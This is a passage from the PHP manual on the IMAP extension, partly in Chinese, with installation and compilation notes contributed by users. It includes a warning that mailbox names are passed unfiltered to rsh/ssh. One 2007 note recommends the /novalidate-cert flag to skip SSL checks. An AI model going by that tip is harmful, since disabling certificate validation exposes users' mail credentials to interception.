        $prefix = ($prefix == "0")?"":"$prefix.";
        foreach ($part->parts as $number=>$subpart)
            $attachments=array_merge($attachments, mail_get_parts($imap,$mid,$subpart,$prefix.($number+1)));
    }
    return $attachments;
}
function mail_decode_part($connection,$message_number,$part,$prefix)
{
    $attachment = array();

    if($part->ifdparameters) {
        foreach($part->dparameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'filename') {
                $attachment['is_attachment'] = true;
                $attachment['filename'] = $object->value;
            }
        }
    }

    if($part->ifparameters) {
        foreach($part->parameters as $object) {
            $attachment[strtolower($object->attribute)]=$object->value;
            if(strtolower($object->attribute) == 'name') {
                $attachment['is_attachment'] = true;
                $attachment['name'] = $object->value;
            }
        }
    }

    $attachment['data'] = imap_fetchbody($connection, $message_number, $prefix);
    if($part->encoding == 3) { // 3 = BASE64
        $attachment['data'] = base64_decode($attachment['data']);
    }
    elseif($part->encoding == 4) { // 4 = QUOTED-PRINTABLE
        $attachment['data'] = quoted_printable_decode($attachment['data']);
    }
    return($attachment);
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "mn26826" on 09-JUN-2010, which fixed the erroneous reference to $imap as the parameter passed to imap_mailboxmsginfo() within the user function pop3_stat().  This was intended to be $connection.]

[EDIT BY visualmind AT php DOT net: Contains a bugfix by "elias-jobview" on 17-AUG-2010, which fixed the error in pop3_list function which didn't have: return $result]

[EDIT BY danbrown AT php DOT net: Contains a bugfix by "chrismeistre" on 09-SEP-2010, which fixed the erroneous reference to $mbox (should be $connection) in the pop3_list() function.]


简介

这些函数提供了可以操作 IMAP 以及 NNTP，POP3 和本地邮箱的方法。

注意，有些 IMAP 函数在 POP3 协议下将不能正常的工作。

Warning

IMAP 扩展不是线程安全的；它不应该被用于 ZTS 构建。

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • 资源类型

User Contributed Notes

Shadab Kiani 08-Jan-2021 12:20
For CentOS

If you are using PHP 7.2, run this:
--------------------------------------
yum install sclo-php72-php-imap
--------------------------------------

Then restart Apache with this:
---------------------------
systemctl restart httpd
---------------------------
kuz-alex at mail dot ru 23-Apr-2019 12:48
Ubuntu 18.04

sudo apt-get install php-imap
jevon at jevon dot org 06-Jan-2015 03:27
On Ubuntu 14.04+, you need to first install with apt-get:

apt-get install php5-imap

However it's not enabled by default so enable it with:

php5enmod imap
panchtatvam at gmail dot com 23-May-2014 07:25
For Fedora 20
===========

Install php-imap:
sudo yum install php-imap

Then restart httpd :
sudo service httpd restart
Robin Scurr 05-Feb-2014 05:20
This applies to SUSE Linux

When I did "php -m" at the bash prompt, imap WAS listed as installed, however the results of <?php echo phpinfo(); ?> DID NOT have imap anywhere? All the *.ini files were processed from the \etc\php5\conf.d directory EXCEPT the imap.ini file.

I fixed this by adding to the file \etc\php5\apache2\php.ini the line:

extension=imap.so

... even though a file called imap.ini contained that same entry in \etc\php5\conf.d?

Explicitly entering the extension=imap.so in the php5.ini file fixed - you do have to restart PHP (reboot) after making the entry....

All is well now.
marcin at koziarz dot pl 13-May-2013 07:25
In ArchLinux, a php package provides this module, but it is disabled by default.
Simply uncomment a line (remove semicolon) in /etc/php/php.ini:

;extension=imap.so

to

extension=imap.so

and then, restart PHP.
dale3h 13-Jan-2009 01:31
In CentOS:

yum install php-imap

Works like a charm!
LZZ 08-Dec-2008 10:11
On Gentoo:

edit /etc/make.conf and include imap to the USE flags,
then run

emerge php
dlaplant at integresystems dot com 02-Sep-2008 01:24
For rhel4 add the libc-client-devel package
clay at scvalleypopcorn dot com 02-Aug-2008 12:38
apt-get install php5-imap

Works well also.... Enjoy
Josecito 27-May-2008 07:21
To install the IMAP module on Red Hat Linux Enterprise 4 (RHEL4):
- Open a terminal window
- If you're not root, become root with su
- type:
RPM -i php-imap
(RPM will download, install and resolve dependencies)
- restart your web server with:
service httpd restart

I hope this helps newbies (like me).


需求

This extension requires the c-client library to be installed. Grab the latest version from » https://github.com/uw-imap/imap and compile it.

It's important that you do not copy the IMAP source files directly into the system include directory as there may be conflicts. Instead, create a new directory inside the system include directory, such as /usr/local/imap-2000b/ (location and name depend on your setup and IMAP version), and inside this new directory create additional directories named lib/ and include/. From the c-client directory from your IMAP source tree, copy all the *.h files into include/ and all the *.c files into lib/. Additionally when you compiled IMAP, a file named c-client.a was created. Also put this in the lib/ directory but rename it as libc-client.a.

Note:

To build the c-client library with SSL or/and Kerberos support read the docs supplied with the package.

Note: In Mandrake Linux, the IMAP library (libc-client.a) is compiled without Kerberos support. A separate version with SSL (client-PHP4.a) is installed. The library must be recompiled in order to add Kerberos support.

User Contributed Notes

obeco 06-Oct-2022 12:01
php-imap package is not available neither in Red Hat Enterprise Linux 7 nor 8.

To compile the extension yourself:

Prerequisites
# yum install pam-devel openssl-devel

Follow steps 2 and 3 from the previous post of "ldi at email dot cz"

Download the c-client library from github, you can see the link at the top of the page and compile with:
# make lr5 SSLINCLUDE=/usr/include/openssl/ EXTRACFLAGS=-fPIC
(if you are using another distro, instead of lr5 you will type something else, you can view the Makefile for other unix flavors)

Follow step 5 from the previous post of "ldi at email dot cz" which is what the second paragraph at the top of the page explains.

Download the PHP source code of the version installed in your system and go to the php/ext/imap folder.

# phpize
(If you installed the PHP packages from the Red Hat Software Collections you must run the following command before to set the enviroment eg: scl enable rh-php73 bash)

# ./configure --with-imap=<<path_to_where_you_unpacked_the_c-client_library_and_compiled_it>> --with-imap-ssl

# make

This creates the file php/ext/imap/modules/imap.so :)
Copy it to your extension_dir (you can find it in the phpinfo() page).
Create an .ini file in the php.d folder with the text: extension=imap.so

Restart apache and be happy.

P.S. You could probably find the extension compiled out there but who knows the trustiness of the source so better to get the official unaltered sources.
allan at umich dot edu 21-Mar-2019 07:28
It should be noted that the source code archives at the University of Washington, and the mirrors, have been dead for some time.

There is a github repository located here: https://github.com/uw-imap/imap
jameslandrok at gmail dot com 27-Jan-2015 05:32
A more secure & easy way to do this on Debian 7.7, php 5.4:

apt-get install php5-imap

Packages installed
  libc-client2007e mlock php5-imap
crabb1d at gmail dot com 09-Sep-2013 03:02
For those using Ubuntu and who are completely daunted by compiling this, it's easy under Ubuntu:

Install libc-client-dev
# sudo apt-get install libc-client-dev

Install PHP5 imap:
# sudo apt-get install php5-imap

Restart Apache
# sudo service apache2 reload

Should work for most people.
Anonymous 19-Jul-2013 10:04
When compiling IMAP 2007f with php 5.3.27 on a 64 bit OL5.7 machine, add in the Makefile: EXTRACFLAGS=-fPIC and EXTRAAUTHENTICATORS=gss
Anonymous 04-Oct-2011 10:58
When compiling IMAP on a 64 bit machine, use: make EXTRACFLAGS=-fPIC.
ldi at email dot cz 04-Aug-2010 10:09
After few hours of testing it on CentOS 5 64 bit I'd like to share the steps required to compile imap with php:

1. Install openssl:

   yum install openssl openssl-devel

2. If you don't have openssl compiled and installed in /usr/local/ssl create symlink:

   ln -s /usr/lib64/openssl/engines/ /usr/local/ssl

3. Add the libraries:

   ln -s /usr/include/ /usr/local/ssl/include

4. Compile IMAP

  cd /path/to/imap_src
  make lnp SSLTYPE=unix

5. Copy files as described above
 mkdir lib
 mkdir include
 cp c-client/*.c lib/
 cp c-client/*.h include/
 cp c-client/c-client.a lib/libc-client.a

6. Compile PHP
  cd /path/to/php/src
  ./configure --with-imap=/path/to/imap_src --with-libdir=lib64
Nick 02-Jul-2010 10:06
If you run into an error similar to the following when compiling / making PHP:

errno 0x21c /usr/local/imap-2007e/lib/libc-client.a(netmsg.o)
ld: fatal: relocations remain against allocatable but non-writable sections
make: Fatal error: Command failed for target `libphp5.la'

You need to recompile the IMAP library and add -fpic or -fPIC to your CFLAGS.

See:
http://bugs.php.net/bug.php?id=35465

Also, if you compiled OpenSSL from source, you'll need to do the same, as you'll get error messages for libc-client.a
eelco at care dot nl 17-Mar-2010 02:12
Spent hours and hours on compiling PHP with IMAP support on CentOS 64-bit but after many trial and error sessions I got if fixed.

If you have set the '--with-libdir=lib64' flag and you encounter the the 'cannot find the c-client library' error while compiling, try to create a symlink 'lib64' to 'lib' in your imap installation dir.

Apparantly, PHP will search only in lib64 directories if the flag is set. This also applies on the IMAP library but documentation lacks on this point.


安装

要使这些函数生效，你必须在编译 PHP 的时候添加 --with-imap[=DIR] 选项, DIR 表示c-client安装前缀。比如上面提到的例子中，你可以使用 --with-imap=/usr/local/imap-2000b. 根据以上描述，这个路径是指向你先前创建的文件夹。对于 Windows 用户，应该在 php.ini 文件中引入php_imap.dll.

Note: 因为取决于 c-client 是如何配置的，所以你应该向 PHP 配置行添加--with-imap-ssl=/path/to/openssl/ 或者 --with-kerberos=/path/to/kerberos 配置信息。

Warning

IMAP 扩展不是线程安全的；它不应该被用于 ZTS 构建。

Warning

IMAP，recode，和 YAZ 扩展不能同时使用，因为它们共享了相同 的内部符号。注意：Yaz 2.0 及以上版本不存在此问题。

User Contributed Notes

Blessen 08-May-2019 02:01
To install php-imap on Ubuntu18 try

sudo apt install php-imap
sudo phpenmod imap
gabi3xz at yahoo dot com 26-Feb-2018 08:14
In centos 7
yum install sclo-php70-php-imap or php71, check your of php version installed with yum list *php7*


运行时配置

这些函数的行为受 php.ini 中的设置影响。

IMAP 配置选项
名字 | 默认 | 可修改范围 | 更新日志
imap.enable_insecure_rsh | "0" | PHP_INI_SYSTEM | Available as of PHP 7.1.25, 7.2.13 and 7.3.0. Formerly, it was implicitly enabled.
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

imap.enable_insecure_rsh bool

Establishing a connection to a server may invoke rsh or ssh commands, unless this php.ini option is disabled.

Warning

Neither PHP nor the IMAP library filter mailbox names before passing them to rsh or ssh commands, thus passing untrusted data to this function without disabling this php.ini option is insecure.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

Prior to PHP 8.1.0, this extension defined the resource type imap as returned by imap_open() references an opened IMAP stream.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

NIL (int)
Deprecated as of PHP 8.1.0.
OP_DEBUG (int)
OP_READONLY (int)
Open mailbox read-only
OP_ANONYMOUS (int)
Don't use or update a .newsrc for news (NNTP only)
OP_SHORTCACHE (int)
OP_SILENT (int)
OP_PROTOTYPE (int)
OP_HALFOPEN (int)
For IMAP and NNTP names, open a connection but don't open a mailbox.
OP_EXPUNGE (int)
OP_SECURE (int)
CL_EXPUNGE (int)
silently expunge the mailbox before closing when calling imap_close()
FT_UID (int)
The parameter is a UID
FT_PEEK (int)
Do not set the \Seen flag if not already set
FT_NOT (int)
FT_INTERNAL (int)
The return string is in internal format, will not canonicalize to CRLF.
FT_PREFETCHTEXT (int)
ST_UID (int)
The sequence argument contains UIDs instead of sequence numbers
ST_SILENT (int)
ST_SET (int)
CP_UID (int)
the sequence numbers contain UIDS
CP_MOVE (int)
Delete the messages from the current mailbox after copying with imap_mail_copy()
SE_UID (int)
Return UIDs instead of sequence numbers
SE_FREE (int)
SE_NOPREFETCH (int)
Don't prefetch searched messages
SO_FREE (int)
SO_NOSERVER (int)
SA_MESSAGES (int)
SA_RECENT (int)
SA_UNSEEN (int)
SA_UIDNEXT (int)
SA_UIDVALIDITY (int)
SA_ALL (int)
LATT_NOINFERIORS (int)
This mailbox has no "children" (there are no mailboxes below this one).
LATT_NOSELECT (int)
This is only a container, not a mailbox - you cannot open it.
LATT_MARKED (int)
This mailbox is marked. Only used by UW-IMAPD.
LATT_UNMARKED (int)
This mailbox is not marked. Only used by UW-IMAPD.
LATT_REFERRAL (int)
This container has a referral to a remote mailbox.
LATT_HASCHILDREN (int)
This mailbox has selectable inferiors.
LATT_HASNOCHILDREN (int)
This mailbox has no selectable inferiors.
SORTDATE (int)
Sort criteria for imap_sort(): message Date
SORTARRIVAL (int)
Sort criteria for imap_sort(): arrival date
SORTFROM (int)
Sort criteria for imap_sort(): mailbox in first From address
SORTSUBJECT (int)
Sort criteria for imap_sort(): message subject
SORTTO (int)
Sort criteria for imap_sort(): mailbox in first To address
SORTCC (int)
Sort criteria for imap_sort(): mailbox in first cc address
SORTSIZE (int)
Sort criteria for imap_sort(): size of message in octets
TYPETEXT (int)
Primary body type: unformatted text
TYPEMULTIPART (int)
Primary body type: multiple part
TYPEMESSAGE (int)
Primary body type: encapsulated message
TYPEAPPLICATION (int)
Primary body type: application data
TYPEAUDIO (int)
Primary body type: audio
TYPEIMAGE (int)
Primary body type: static image
TYPEVIDEO (int)
Primary body type: video
TYPEMODEL (int)
Primary body type: model
TYPEOTHER (int)
Primary body type: unknown
ENC7BIT (int)
Body encoding: 7 bit SMTP semantic data
ENC8BIT (int)
Body encoding: 8 bit SMTP semantic data
ENCBINARY (int)
Body encoding: 8 bit binary data
ENCBASE64 (int)
Body encoding: base-64 encoded data
ENCQUOTEDPRINTABLE (int)
Body encoding: human-readable 8-as-7 bit data
ENCOTHER (int)
Body encoding: unknown
IMAP_OPENTIMEOUT (int)
IMAP_READTIMEOUT (int)
IMAP_WRITETIMEOUT (int)
IMAP_CLOSETIMEOUT (int)
IMAP_GC_ELT (int)
Garbage collector, clear message cache elements.
IMAP_GC_ENV (int)
Garbage collector, clear envelopes and bodies.
IMAP_GC_TEXTS (int)
Garbage collector, clear texts.

User Contributed Notes

There are no user contributed notes for this page.


IMAP 函数

参见

This document can't go into detail on all the topics touched by the provided functions. Further information is provided by the documentation of the c-client library source (docs/internal.txt). and the following RFC documents:

  • » RFC2821: Simple Mail Transfer Protocol (SMTP).
  • » RFC2822: Standard for ARPA internet text messages.
  • » RFC2060: Internet Message Access Protocol (IMAP) Version 4rev1.
  • » RFC1939: Post Office Protocol Version 3 (POP3).
  • » RFC977: Network News Transfer Protocol (NNTP).
  • » RFC2076: Common Internet Message Headers.
  • » RFC2045 , » RFC2046 , » RFC2047 , » RFC2048 & » RFC2049: Multipurpose Internet Mail Extensions (MIME).
A detailed overview is also available in the books » Programming Internet Email by David Wood and » Managing IMAP by Dianna Mullet & Kevin Mullet.

Table of Contents

  • imap_8bit — Convert an 8bit string to a quoted-printable string
  • imap_alerts — Returns all IMAP alert messages that have occurred
  • imap_append — Append a string message to a specified mailbox
  • imap_base64 — Decode BASE64 encoded text
  • imap_binary — Convert an 8bit string to a base64 string
  • imap_body — Read the message body
  • imap_bodystruct — Read the structure of a specified body section of a specific message
  • imap_check — Check current mailbox
  • imap_clearflag_full — Clears flags on messages
  • imap_close — Close an IMAP stream
  • imap_create — 别名 imap_createmailbox
  • imap_createmailbox — Create a new mailbox
  • imap_delete — Mark a message for deletion from current mailbox
  • imap_deletemailbox — Delete a mailbox
  • imap_errors — Returns all of the IMAP errors that have occurred
  • imap_expunge — Delete all messages marked for deletion
  • imap_fetch_overview — Read an overview of the information in the headers of the given message
  • imap_fetchbody — Fetch a particular section of the body of the message
  • imap_fetchheader — Returns header for a message
  • imap_fetchmime — Fetch MIME headers for a particular section of the message
  • imap_fetchstructure — Read the structure of a particular message
  • imap_fetchtext — 别名 imap_body
  • imap_gc — Clears IMAP cache
  • imap_get_quota — Retrieve the quota level settings, and usage statics per mailbox
  • imap_get_quotaroot — Retrieve the quota settings per user
  • imap_getacl — Gets the ACL for a given mailbox
  • imap_getmailboxes — Read the list of mailboxes, returning detailed information on each one
  • imap_getsubscribed — List all the subscribed mailboxes
  • imap_header — 别名 imap_headerinfo
  • imap_headerinfo — Read the header of the message
  • imap_headers — Returns headers for all messages in a mailbox
  • imap_is_open — Check if the IMAP stream is still valid
  • imap_last_error — Gets the last IMAP error that occurred during this page request
  • imap_list — Read the list of mailboxes
  • imap_listmailbox — 别名 imap_list
  • imap_listscan — Returns the list of mailboxes that matches the given text
  • imap_listsubscribed — 别名 imap_lsub
  • imap_lsub — List all the subscribed mailboxes
  • imap_mail_compose — Create a MIME message based on given envelope and body sections
  • imap_mail_copy — Copy specified messages to a mailbox
  • imap_mail_move — Move specified messages to a mailbox
  • imap_mail — Send an email message
  • imap_mailboxmsginfo — Get information about the current mailbox
  • imap_mime_header_decode — Decode MIME header elements
  • imap_msgno — Gets the message sequence number for the given UID
  • imap_mutf7_to_utf8 — Decode a modified UTF-7 string to UTF-8
  • imap_num_msg — Gets the number of messages in the current mailbox
  • imap_num_recent — Gets the number of recent messages in current mailbox
  • imap_open — Open an IMAP stream to a mailbox
  • imap_ping — Check if the IMAP stream is still active
  • imap_qprint — Convert a quoted-printable string to an 8 bit string
  • imap_rename — 别名 imap_renamemailbox
  • imap_renamemailbox — Rename an old mailbox to new mailbox
  • imap_reopen — Reopen IMAP stream to new mailbox
  • imap_rfc822_parse_adrlist — Parses an address string
  • imap_rfc822_parse_headers — Parse mail headers from a string
  • imap_rfc822_write_address — Returns a properly formatted email address given the mailbox, host, and personal info
  • imap_savebody — Save a specific body section to a file
  • imap_scan — 别名 imap_listscan
  • imap_scanmailbox — 别名 imap_listscan
  • imap_search — This function returns an array of messages matching the given search criteria
  • imap_set_quota — Sets a quota for a given mailbox
  • imap_setacl — Sets the ACL for a given mailbox
  • imap_setflag_full — Sets flags on messages
  • imap_sort — Gets and sort messages
  • imap_status — Returns status information on a mailbox
  • imap_subscribe — Subscribe to a mailbox
  • imap_thread — Returns a tree of threaded message
  • imap_timeout — Set or fetch imap timeout
  • imap_uid — This function returns the UID for the given message sequence number
  • imap_undelete — Unmark the message which is marked deleted
  • imap_unsubscribe — Unsubscribe from a mailbox
  • imap_utf7_decode — Decodes a modified UTF-7 encoded string
  • imap_utf7_encode — Converts ISO-8859-1 string to modified UTF-7 text
  • imap_utf8_to_mutf7 — Encode a UTF-8 string to modified UTF-7
  • imap_utf8 — Converts MIME-encoded text to UTF-8

User Contributed Notes

Eelco 21-Apr-2011 02:41
I used the instructions from Chris (thanks Chris) to recompile the imap.so module for CentOS 5 (PHP 5.2.11). I didn't want to recompile all PHP extensions only imap.so.

So here is my version of recompiling imap.so for PHP 5.2.11 based on the instructions of Chris.

0) Install the dependencies
yum groupinstall "Development Tools"
yum install openssl-devel
yum install krb5 krb5-devel
yum install pam-devel
1) Create a temporary folder and cd to it.
# mkdir ~/php-imap && cd ~/php-imap
2) Download c-client.tar.Z
# wget ftp://ftp.cac.washington.edu/imap/c-client.tar.Z
3) Extract the c-client.tar.Z file, which would create the imap-2007e folder at this moment.
# tar -zxf c-client.tar.Z
4) Download php source code using. Use the version of the php installed on the machine (php --version)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package
# wget http://3es.atomicrocketturtle.com/packages/ php/php-5.2.11-3.art.src.rpm
# rpm2cpio php-5.2.11-3.art.src.rpm | cpio -idmv
# tar xvjf php-5.2.11.tar.bz2
5) Install php-imap plugin using or you can simply just add the php ini file for the imap.so extension
# sudo yum install php-imap
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client.
# make lr5  IP6=4
8) Go to the php source folder and run the configure script with the following arguments:
# ./configure --disable-all --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl --with-openssl=/usr
9) Compile php
# make
10) Copy/replace the imap.so file from the ./modules folder to the php module folder.
# sudo cp ./modules/imap.so /usr/lib64/php/modules
11) Restart Apache
# sudo /etc/init.d/httpd restart
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!
chris dot kistner at gmail dot com 06-Jan-2011 04:57
The IMAP php plugin doesn't work by default with Microsoft Exchange 2007 server, so I had to recompile php with the c-client without Kerberos support.

Also, I wanted to compile it as a shared library (imap.so).

The quick and easy way that I've used to do this on Fedora Core 13 & 14 x64 was:
1) Create a temporary folder and cd to it.
2) Download c-client.tar.Z from ftp://ftp.cac.washington.edu/imap/
3) Extract the c-client.tar.Z file, using 'tar -zxf c-client.tar.Z', which would create the imap-2007e folder at this moment.
4) Download php source code using 'yumdownloader --source php' *(a)
Extract the php-*.rpm file to get the php-*.tar.bz2 source package *(b)
5) Install php-imap plugin using 'sudo yum install php-imap', or you can simply just add the php ini file for the imap.so extension
6) Go to the imap-2007e folder and edit the Makefile such that the 'EXTRACFLAGS=' line reads: 'EXTRACFLAGS=-fPIC'
7) Compile c-client. I had to use 'make lfd IP6=4'
8) Go to the php source folder and run the configure script with the following arguments: './configure --with-imap=shared,<path to imap-2007e folder> --with-imap-ssl'
eg. I used './configure --with-imap=shared,/home/chris/imap-2007e --with-imap-ssl'
9) Compile php by simply running 'make' *(c)
10) Copy/replace the imap.so file from the ./modules folder to your PC's php module folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php/modules'
11) Restart Apache: 'sudo service httpd restart'
12) Check imap section of <?php phpinfo(); ?>, and it should only list IMAP c-Client Version and SSL Support. The Kerberos Support should NOT be listed here!

There are slight differences in achieving the same in Ubuntu 10.04 x64 (or perhaps other versions too):
4) Download php source code using 'apt-get source php5', which will create a php5-* source folder
5) Install the php5-imap plugin using 'sudo apt-get install php5-imap'
7) Compile c-client. I had to use 'make ldb IP6=4'
10) Copy/replace the imap.so file from the ./modules folder to your PC's php folder. I used 'sudo cp ./modules/imap.so /usr/lib64/php5/20090626'
11) Restart Apache: 'sudo service apache2 restart'

* Notes:
(a) yumdownloader is part of yum-utils package, which can be installed using 'yum install yum-utils'
(b) You can extract the rpm file using 'rpm2cpio php-*.src.rpm | cpio -idmv'
(c) You can greatly improve the compilation speed on a multi-core PC using 'make -j `grep -c ^processor /proc/cpuinfo`'
bigben3333 - gmail 22-Feb-2008 06:23
I've tried to compile php with imap sources for 2 days on a mandriva 2006 and it never work...

I succeed only when i uninstall the following RPM witch was already installed on my system :

libc-client
libc-client-devel
imap
imap-devel

here is my configure command :

./configure  --with-apache=/usr/local/apache --with-dbase --with-filepro --enable-mbstring --with-xml=/usr/local/php --enable-ftp --with-db --enable-bcmath --enable-calendar --with-mysql --with-zlib-dir --enable-trans-sid --with-imap=/usr/local/imap-2004g --with-kerberos --with-imap-ssl --with-openssl --enable-sysvsem --enable-sysvshm
kvazitron at gmail dot com 11-Feb-2008 02:48
I successfully installed c-client and compiled php 5.2.5 with imap on FreeBSD 6.3. To get this stuff work, i did following steps:

1) to install c-client:

download and uncompress c-client.tar.Z to folder /usr/local/
cd /usr/local/imap-2007
make bsf
mkdir include
ln -s c-client include
mkdir lib
cd lib
ln -s ../c-client/c-client.a libc-client.a

2) to compile php:
add this options
--with-imap=/usr/local/imap-2007 --with-imap-ssl
mogmios at gmail dot com 19-Oct-2007 12:36
In Fedora Core 6 64 bit w/ a custom compiled copy of Apache and PHP 4 I had to add packages libc-client*x84_64 and then just used config options --with-imap --with-kerberos --with-imap-ssl.
gpayne at galenaparkisd com 07-Aug-2007 12:48
You can also use the novalidate-cert flag and it won't bother you about the ssl stuff:

$mailbox = imap_open("{localhost:143/imap/novalidate-cert}INBOX", "user","pw");
mleiv 26-Jul-2007 04:12
MAC OSX advice for those less experienced in UNIX.

I had a lot of trouble with all the advice here, but I finally got it working, so I thought I'd leave my steps.  If you know a decent amount about UNIX you can probably do better on you own.
#1) downloaded version listed by php.net above.
#2) ran "make opx" on it (the three-letter is your OS, opx is later osx versions)
#3) copied resulting c-client/ folder to where I wanted to leave my imap stuff, herafter referred to as IMAP_HOME.
#4) renamed IMAP_HOME/c-client/c-client.a to libc-client.a
#5) ran "configure" on php using --with-imap=IMAP_HOME --with-kerberos  --with-imap-ssl (my configure insisted that I use the last two)
#6) make, make install, and restarted Apache.  Voila!

At this point you can delete the downloaded imap stuff, or move it to your sources/ folder or whatever.
bogdanderen at mail dot ru 07-Jul-2007 06:41
INSTALLING IMAP
   1. Log in as root:
      su -
   2. Download IMAP installation
   3. Untar the package:
      tar -zxf IMAP_PACKAGE_FILENAME
   4. Enter the source directory:
      cd IMAP_PACKAGE_DIRECTORY
   5. Build the package.
      # edit Makefile EXTRACFLAGS=-fPIC
      # make lrh
   6. Install the lib and include files:
      # mkdir /IMAP_DIR/lib
      # mkdir /IMAP_DIR/include
      # cp -r ./src/c-client/*.h /IMAP_DIR/include/
      # cp  ./c-client/linkage.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.h /IMAP_DIR/include/
      # cp ./src/osdep/unix/*.c /IMAP_DIR/lib/
      # rm -rf all files and directories except /IMAP_DIR/include/ & /IMAP_DIR/lib/
   7. Create the osdep.h link:
      Linux:
      # ln -s ./include/c-client/os_slx.h \
      /IMAP_DIR/include/osdep.h

INSTALLING PHP (DO NOT --with-kerberos)
    --with-imap=/IMAP_DIR
eeescalona at yahoo dot com 20-Feb-2007 12:49
fyi.

I had an error during this process

*downloaded from ftp.cac.washington.edu  imap-2006e.tar.gz
*untarred it as /usr/local/src/imap-2006e.
*made lrh (make lrh)
*copied /usr...imap-2006e/c-client/c-client.a into ..../client/libc-client.a
*cd /usr/local/src/php-4.2.1/
*configured php using ... --with-imap=/usr/local/src/imap-2006e --with-ssl

*and during make the following error occurred.

php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
php_imap.c:71: error: conflicting types for 'utf8_mime2text'
/usr/local/src/imap-2006e//c-client/utf8aux.h:37: error: previous declaration of 'utf8_mime2text' was here
make[3]: *** [php_imap.lo] Error 1
make[3]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[2]: *** [all-recursive] Error 1
make[2]: Leaving directory `/usr/local/src/php-4.2.1/ext/imap'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/usr/local/src/php-4.2.1/ext'
make: *** [all-recursive] Error 1

apparently, apache 4.2.1 and imap-2006e has the same declared function which creates a duplication problem. the utf8_mime2text function is both found on files:

php-4.2.1/imap/php_imap.c (2 occurences)
imap-2006e/c-client/utf8aux.h (1 occurences)
imap-2006e/c-client/utf8aux.c (1 occurrences)
imap-2006e/c-client/mail.c (5 occrences)

bug fixers says i have to upgrade my php, but I cant afford to change versions since i run some home grown developed php software which doesnt work on higher versions.

So I did this.

I replaced all utf8_mime2text texts with utf8_mime2text2 for the imap sources.

since my server is both web and mysql, i used a built in mysql command called 'replace'

$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.h
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/utf8aux.c
$>replace utf8_mime2text utf8_mime2text2 -- /..../c-client/mail.c

then i continued make and make install, without the reported error.

caveats...i just did this to try it. i dunno if it will work later...
couplewith at interpakr dot co dot kr 12-Feb-2007 05:37
imap-install
  1. tar xvzf c-client.tgz
  2. cd imap-2006e
  3. make lrh    # install redhat linux
  4. cp c-client/c-client.a  /usr/local/lib/libc-client.a
      copy head files
      c-client/rfc822.h, mail.h ? linkage.h
       /usr/local/include
       c-clinet/utf-8.h /usr/local/include
  5. if  U8T_CANONICAL undefined error
      edit php_src/ext/imap/php_imap.c

==add 53 line ==
#include <time.h>
#include <stdio.h>
#include <ctype.h>
#include <signal.h>
+#include "utf8.h"
   6. make php installatin step
Marplatense 23-Nov-2006 08:52
Compiling php with support for imap on a linux 64 bits server (tested with php 5.1.6, php 5.2.0, CentOS 4.4 64 bits and c-client snap 0611201609):

1- download the imap from ftp.
# tar -zxvf imap-2006d.DEV.tar.Z
# cd imap-2006d.DEV.SNAP-0611201609/
# vim MakeFile
2- Search for "EXTRACFLAGS=" and add -fPIC at then end:
    before EXTRACFLAGS=
    after   EXTRACFLAGS=-fPIC
3- save the file and quit
# make lrh
# cd c-client/
# cp /.../imap-2006d.DEV.SNAP-0611201609/c-client/c-client.a /.../imap-2006d.DEV.SNAP-0611201609/c-client/libc-client.a
4- navigate to your php directory and:
# ./configure ... lots of options here and ... --with-imap=/.../imap-2006d.DEV.SNAP-0611201609 --with-imap-ssl
# make
# make install

Additional notes:
a- I choose "lrh" in the make but you might check what's yours option.
b- I made it with ssl support and because of this I added the --with-imap-ssl in the php configure option. You might make it with no SSL
James Triplett <jm-php at vj8 dot net> 05-Apr-2006 07:50
Building Apache2, PHP and IMAP requires a shareable version
of the c-client library, but the standard UW code doesn't provide one.
I couldn't find any way to build with the libc-client.a without generating piles of relocation errors. (gcc on Solaris 10)

The IMAP c-client library can be built shareable with the following steps:
1. fix the Makefile in .../imap-2004/c-client to include:
BASECFLAGS="-fPIC -O3"
2. make
3. mkdir tmp
4. cd tmp
5. ar xv ../c-client.a  (to extract the .o files)
6. gcc -shared -o c-client.so *.o  (to create the .so library)
7. copy that c-client.so to /usr/local/imap/lib/libc-client.so
    (it may be necessary to hide the libc-client.a)
8. configure PHP ; make; make install
BjarneDM macintosh at mathiesen dot info 20-Oct-2005 12:49
Mac OS X client install notes with DarwinPorts

The c-client.a isn't present on your system after you've installed the imap-uw package. !But! it's actually present at a specific time during the install phase as it's being complied from source - it's just deleted at the end of the compilation process. So, we'll have to break the install process down into it's component processes and get hold of what we need at the appropriate time:

sudo port fetch imap-uw
sudo port extract imap-uw
sudo port patch imap-uw
sudo port configure imap-uw
sudo port build imap-uw
imapLib=/darwinports/var/db/dports/distfiles/imap-uw/lib
imapIncludes=/darwinports/var/db/dports/distfiles/imap-uw/include
sudo mkdir ${imapLib} ${imapInclude}
cd /darwinports/var/db/dports/build/*/*/*/c-client
sudo cp *.c ${imapLib}
sudo cp *.h ${imapIncludes}
sudo cp c-client.a ${imapLib}/libc-client.a
cd ${imapLib}
ranlib - libc-client.a
sudo port install imap-uw

Now, you can just specify:
    --with-imap=/darwinports/var/db/dports/distfiles/imap-uw \
    --with-imap-ssl=/darwinports \
in your ./configure command.
php at got2get dot net 07-Sep-2005 08:04
Install note for FreeBSD:

If you get this:

/libexec/ld-elf.so.1: /usr/local/lib/php/20041030/imap.so: Undefined symbol "ssl_onceonlyinit"

...in your httpd-error.log.

